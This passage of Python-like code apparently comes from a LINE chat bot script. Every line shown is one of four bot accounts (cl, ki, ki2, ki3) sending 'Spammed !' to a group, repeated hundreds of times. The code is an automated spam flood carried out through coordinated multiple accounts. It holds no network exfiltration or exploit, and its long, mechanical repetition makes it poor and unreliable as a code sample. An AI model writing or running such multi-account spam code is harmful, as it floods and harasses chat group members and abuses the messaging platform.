cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
